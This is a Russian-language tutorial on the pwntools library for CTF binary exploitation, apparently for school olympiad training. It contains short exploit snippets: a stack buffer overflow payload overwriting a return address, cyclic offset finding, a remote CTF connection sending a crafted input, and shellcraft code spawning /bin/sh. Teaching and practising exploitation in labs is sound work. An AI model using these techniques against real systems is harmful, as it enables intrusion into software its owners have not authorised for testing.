⚡ Pwntools: Мощный инструмент для бинарного взлома
💡 Pwntools — это Python-библиотека, которая превращает сложные задачи CTF и эксплоит-разработки в простые операции. Как если бы у вас был набор волшебных заклинаний для взлома!
🚀 Основные возможности
- 📡 Взаимодействие с процессами и сетевыми соединениями
- 🔍 Автоматический поиск смещений (offset) в бинарных файлах
- 🧩 Генерация ROP-цепей и шелл-кода
- 🐞 Интеграция с GDB для отладки
- 📦 Работа с ELF-файлами и упаковка данных
🛠️ Установка и настройка
# Установка (требуется Python 3.6+)
pip install pwntools
# Проверка версии
pwn version
⚠️ Лучше работает на Linux. Для Windows используйте WSL2 или Docker.
💻 Примеры использования
1. Простой переполнение буфера
from pwn import *
context(arch='i386', os='linux')
# Запуск локального бинарника
p = process('./vuln')
# Создание полезной нагрузки
payload = b'A' * 64 # Заполнение буфера
payload += p32(0xdeadbeef) # Перезапись адреса возврата
p.sendline(payload)
p.interactive()
2. Поиск смещений через шаблоны
# Генерация уникального шаблона
pattern = cyclic(100)
p.sendline(pattern)
# При падении программы:
core = Core('./vuln')
offset = cyclic_find(core.eip)
print(f"Offset: {offset}")
3. Сетевые задачи CTF
r = remote('ctf.hackme.com', 31337)
# Получение приветственного сообщения
r.recvuntil('Enter password:')
# Отправка эксплоита
r.sendline(b'P@ssw0rd!\x00' + p64(0x40123b))
r.interactive()
🔧 Продвинутые техники
📌 Советы профессионалов
- Используйте
context.update()
для настройки архитектуры - Автоматизируйте поиск гаджетов:
ROP(binary)
- Включайте логирование:
context.log_level = 'debug'
- Используйте
shellcraft
для генерации шелл-кода
Пример: Шелл-код для x64
asm(shellcraft.sh()) # Генерирует: 6a6848... (execve('/bin/sh'))
⚠️ Важные предупреждения
- Используйте только в легальных целях
- Тестируйте эксплоиты в изолированной среде
- Всегда проверяйте адреса для разных версий ПО
📝 Задания на закрепление
- Порешайте задачи из раздела Задания, в названии которых есть слово reverse, часто библиотека pwntools сильно упрощает решение этих задач
- РЭ ВсОШ по ИБ 2025, 10 класс
📚 Ресурсы для изучения
- Официальная документация: docs.pwntools.com
- Примеры эксплоитов: GitHub Tutorial
- CTF-платформы: Hack The Box, pwnable.kr